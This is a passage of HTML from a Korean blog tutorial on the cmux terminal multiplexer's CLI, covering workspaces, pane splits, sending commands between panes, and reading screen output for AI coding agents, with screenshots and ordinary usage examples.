&lt;td style=&quot;padding: 8px; font-family: monospace;&quot;&gt;&lt;code&gt;CMUX_SURFACE_ID&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px;&quot;&gt;현재 서피스 ID. 모든 명령의 기본 &lt;code&gt;--surface&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; font-family: monospace;&quot;&gt;&lt;code&gt;CMUX_SOCKET_PATH&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px;&quot;&gt;Unix 소켓 경로 (기본: &lt;code&gt;~/Library/Application Support/cmux/cmux.sock&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ========== 섹션 4: 기본 CLI 레퍼런스 ========== --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 기본 CLI 명령어 레퍼런스&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;아래 명령어는 모두 &lt;code&gt;cmux --help&lt;/code&gt; (v0.62.2) 출력에서 직접 검증한 것이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;워크스페이스 관리&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# 새 워크스페이스 생성 (사이드바에 탭 추가)&lt;/div&gt;
&lt;pre class=&quot;smali&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;cmux new-workspace [--cwd /path/to/project] [--command &quot;npm run dev&quot;]&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# 워크스페이스 이름 변경&lt;/div&gt;
&lt;pre class=&quot;mel&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;cmux rename-workspace &quot;my-project&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# 워크스페이스 목록 / 트리 구조 / 현재 워크스페이스&lt;/div&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;cmux list-workspaces
cmux tree [--all]
cmux current-workspace&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# 워크스페이스 전환 / 닫기&lt;/div&gt;
&lt;pre class=&quot;mel&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;cmux select-workspace --workspace workspace:2
cmux close-workspace --workspace workspace:2&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;!-- OLD 이미지: Workspace 생성/이름 변경 --&gt;
&lt;div style=&quot;background-color: #fff3e0; border: 2px dashed #ff9800; border-radius: 8px; padding: 30px; margin: 20px 0; text-align: center; color: #e65100;&quot;&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;ex) cmux new-workspace&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1294&quot; data-origin-height=&quot;420&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oBHIN/dJMcadBhWBj/UnVGhp3TkDSe2k2kOHdMu0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oBHIN/dJMcadBhWBj/UnVGhp3TkDSe2k2kOHdMu0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oBHIN/dJMcadBhWBj/UnVGhp3TkDSe2k2kOHdMu0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoBHIN%2FdJMcadBhWBj%2FUnVGhp3TkDSe2k2kOHdMu0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1294&quot; height=&quot;420&quot; data-origin-width=&quot;1294&quot; data-origin-height=&quot;420&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;ex) cmux rename-workspace &quot;dev&quot;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1090&quot; data-origin-height=&quot;322&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cwKkVh/dJMb99Mtihl/IcCGFJb1rTu4fXnj0PVOa1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cwKkVh/dJMb99Mtihl/IcCGFJb1rTu4fXnj0PVOa1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cwKkVh/dJMb99Mtihl/IcCGFJb1rTu4fXnj0PVOa1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcwKkVh%2FdJMb99Mtihl%2FIcCGFJb1rTu4fXnj0PVOa1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1090&quot; height=&quot;322&quot; data-origin-width=&quot;1090&quot; data-origin-height=&quot;322&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;ex) cmux&amp;nbsp;list-workspaces&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1146&quot; data-origin-height=&quot;340&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bVydpe/dJMcabcubEi/Y8uhtRJ2sgS3Kr9Z4VWzkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bVydpe/dJMcabcubEi/Y8uhtRJ2sgS3Kr9Z4VWzkK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bVydpe/dJMcabcubEi/Y8uhtRJ2sgS3Kr9Z4VWzkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbVydpe%2FdJMcabcubEi%2FY8uhtRJ2sgS3Kr9Z4VWzkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1146&quot; height=&quot;340&quot; data-origin-width=&quot;1146&quot; data-origin-height=&quot;340&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;ex) cmux&amp;nbsp;tree&amp;nbsp;[--all]&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1688&quot; data-origin-height=&quot;664&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Ri1h5/dJMcafeWLwb/01EYEDZqQCzo8h4R50gagK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Ri1h5/dJMcafeWLwb/01EYEDZqQCzo8h4R50gagK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Ri1h5/dJMcafeWLwb/01EYEDZqQCzo8h4R50gagK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRi1h5%2FdJMcafeWLwb%2F01EYEDZqQCzo8h4R50gagK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1688&quot; height=&quot;664&quot; data-origin-width=&quot;1688&quot; data-origin-height=&quot;664&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;패인 분할과 서피스&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# 패인 분할 (left, right, up, down)&lt;/div&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;cmux new-split right
cmux new-split down&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# 새 서피스(탭) 추가 &amp;mdash; 터미널 또는 브라우저&lt;/div&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;cmux new-surface                               # 터미널 탭
cmux new-surface --type browser --url https://localhost:3000  # 브라우저 탭&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# 패인/서피스 목록 및 닫기&lt;/div&gt;
&lt;pre class=&quot;dsconfig&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;cmux list-panes
cmux list-pane-surfaces
cmux close-surface --surface surface:2&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;!-- OLD 이미지: 화면 분할 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 패인 분할 right : cmux new-split right&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1962&quot; data-origin-height=&quot;344&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bLhuMU/dJMcadaeHEc/HJBE4BOJNKIrRsx1WfldZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bLhuMU/dJMcadaeHEc/HJBE4BOJNKIrRsx1WfldZ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bLhuMU/dJMcadaeHEc/HJBE4BOJNKIrRsx1WfldZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbLhuMU%2FdJMcadaeHEc%2FHJBE4BOJNKIrRsx1WfldZ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1962&quot; height=&quot;344&quot; data-origin-width=&quot;1962&quot; data-origin-height=&quot;344&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 패인 분할 down : cmux new-split down&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1752&quot; data-origin-height=&quot;1112&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bhHHft/dJMcacWLSSF/AIZtxAqKj8d9TKdo6KB0CK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bhHHft/dJMcacWLSSF/AIZtxAqKj8d9TKdo6KB0CK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bhHHft/dJMcacWLSSF/AIZtxAqKj8d9TKdo6KB0CK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbhHHft%2FdJMcacWLSSF%2FAIZtxAqKj8d9TKdo6KB0CK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1752&quot; height=&quot;1112&quot; data-origin-width=&quot;1752&quot; data-origin-height=&quot;1112&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&amp;nbsp;cmux new-surface&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1754&quot; data-origin-height=&quot;586&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uZL6J/dJMcacibR70/3fsH0GdhLkzyGw8kVI81o0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uZL6J/dJMcacibR70/3fsH0GdhLkzyGw8kVI81o0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uZL6J/dJMcacibR70/3fsH0GdhLkzyGw8kVI81o0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuZL6J%2FdJMcacibR70%2F3fsH0GdhLkzyGw8kVI81o0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1754&quot; height=&quot;586&quot; data-origin-width=&quot;1754&quot; data-origin-height=&quot;586&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;ex) cmux new-surface --type browser --url https://localhost:3000&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1522&quot; data-origin-height=&quot;886&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b7ItML/dJMcagLFKfV/sQ4DbQOzpZPiN9BLksUyr1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b7ItML/dJMcagLFKfV/sQ4DbQOzpZPiN9BLksUyr1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b7ItML/dJMcagLFKfV/sQ4DbQOzpZPiN9BLksUyr1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb7ItML%2FdJMcagLFKfV%2FsQ4DbQOzpZPiN9BLksUyr1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1522&quot; height=&quot;886&quot; data-origin-width=&quot;1522&quot; data-origin-height=&quot;886&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 나머진.. 직접 해보시면 좋을 것 같다. 안해도 된다. ( AI에게 공식 문서, 문법을 잘 가이드만 해도 알아서 잘 쓴다. )&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;텍스트 전송과 출력 캡처&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# 현재 서피스에 텍스트 전송 (\n = Enter)&lt;/div&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;cmux send &quot;npm run dev\n&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# 특정 서피스에 전송&lt;/div&gt;
&lt;pre class=&quot;maxima&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;cmux send --surface surface:2 &quot;npm test\n&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# 키 전송 (enter, ctrl+c, tab, escape 등)&lt;/div&gt;
&lt;pre class=&quot;gauss&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;cmux send-key ctrl+c
cmux send-key --surface surface:2 enter&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# AI 에이전트 핵심 기능!&lt;/div&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;cmux read-screen --lines 30               # 최근 30줄
cmux read-screen --scrollback              # 전체 스크롤백 버퍼
cmux capture-pane --surface surface:2 --lines 50  # tmux 호환 별칭&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ========== 섹션 5: 출력 캡처와 동기화 ========== --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. AI 에이전트 핵심&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;AI 에이전트에게 &lt;b&gt;핵심적인 기능&lt;/b&gt;은 다른 패인에서 실행 중인 프로세스의 출력을 읽는 것이다. tmux에서는 &lt;code&gt;tmux capture-pane&lt;/code&gt;이 유일한 방법이었는데, cmux는 이를 더 풍부하게 제공한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;read-screen / capture-pane&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# read-screen: 서피스의 터미널 출력 읽기&lt;/div&gt;
&lt;pre class=&quot;gauss&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;cmux read-screen                              # 현재 서피스
cmux read-screen --surface surface:2 --lines 50  # 특정 서피스, 최근 50줄
cmux read-screen --scrollback                  # 전체 스크롤백&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# capture-pane: tmux 호환 별칭 (동일 기능)&lt;/div&gt;
&lt;pre class=&quot;angelscript&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;cmux capture-pane --surface surface:2 --lines 50&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;!-- OLD 이미지: read-screen 실행 결과 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 왼쪽 패인에서 오른쪽 패인 읽기&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2116&quot; data-origin-height=&quot;406&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bGf8KX/dJMcaaEFcUD/2E4vbBvhTp4Xy2mkTeJakk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bGf8KX/dJMcaaEFcUD/2E4vbBvhTp4Xy2mkTeJakk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bGf8KX/dJMcaaEFcUD/2E4vbBvhTp4Xy2mkTeJakk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbGf8KX%2FdJMcaaEFcUD%2F2E4vbBvhTp4Xy2mkTeJakk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2116&quot; height=&quot;406&quot; data-origin-width=&quot;2116&quot; data-origin-height=&quot;406&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2138&quot; data-origin-height=&quot;456&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AZnmF/dJMcaf0ekuP/IBiAm4wGczKUhA6Asq3Wy0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AZnmF/dJMcaf0ekuP/IBiAm4wGczKUhA6Asq3Wy0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AZnmF/dJMcaf0ekuP/IBiAm4wGczKUhA6Asq3Wy0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAZnmF%2FdJMcaf0ekuP%2FIBiAm4wGczKUhA6Asq3Wy0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2138&quot; height=&quot;456&quot; data-origin-width=&quot;2138&quot; data-origin-height=&quot;456&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;다른 터미널 탭에서 뭐가 돌아가고 있는지를 코드 한 줄로 읽어왔다. AI 에이전트가 이걸 쓰면 &quot;백엔드 서버 로그를 읽어서 에러를 파악하고, 프론트엔드 코드를 수정&quot;하는 흐름이 가능해진다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;send: 다른 터미널에 명령 보내기&lt;/h3&gt;
&lt;!-- OLD 이미지: send 결과 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 왼쪽 패인에서 오른쪽 패인에 명령 전송&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2140&quot; data-origin-height=&quot;470&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cDQnWp/dJMcab4BY79/9Gp2kX5IfgUeG2ejRNOB71/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cDQnWp/dJMcab4BY79/9Gp2kX5IfgUeG2ejRNOB71/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cDQnWp/dJMcab4BY79/9Gp2kX5IfgUeG2ejRNOB71/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcDQnWp%2FdJMcab4BY79%2F9Gp2kX5IfgUeG2ejRNOB71%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2140&quot; height=&quot;470&quot; data-origin-width=&quot;2140&quot; data-origin-height=&quot;470&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;wait-for: 시그널 기반 동기화&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;tmux에서도 &lt;code&gt;tmux wait-for&lt;/code&gt;이 있었지만, cmux의 &lt;code&gt;wait-for&lt;/code&gt;는 타임아웃을 지원하여 더 안전하다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# 패턴 1: 시그널 기반 동기화&lt;/div&gt;
&lt;pre class=&quot;mipsasm&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 대기 측 (에이전트 A)
cmux wait-for build-done --timeout 60

# 시그널 측 (에이전트 B, 빌드 완료 후)
cmux wait-for -S build-done&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# 패턴 2: 폴링 기반 대기 (특정 출력 감지)&lt;/div&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# &quot;ready&quot; 문자열이 나올 때까지 대기
while ! cmux read-screen --surface surface:2 --lines 10 | grep -q &quot;ready&quot;; do
  sleep 1
done
echo &quot;서비스 준비 완료!&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;find-window: 내용으로 서피스 검색&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# 터미널 내용으로 서피스 찾기&lt;/div&gt;
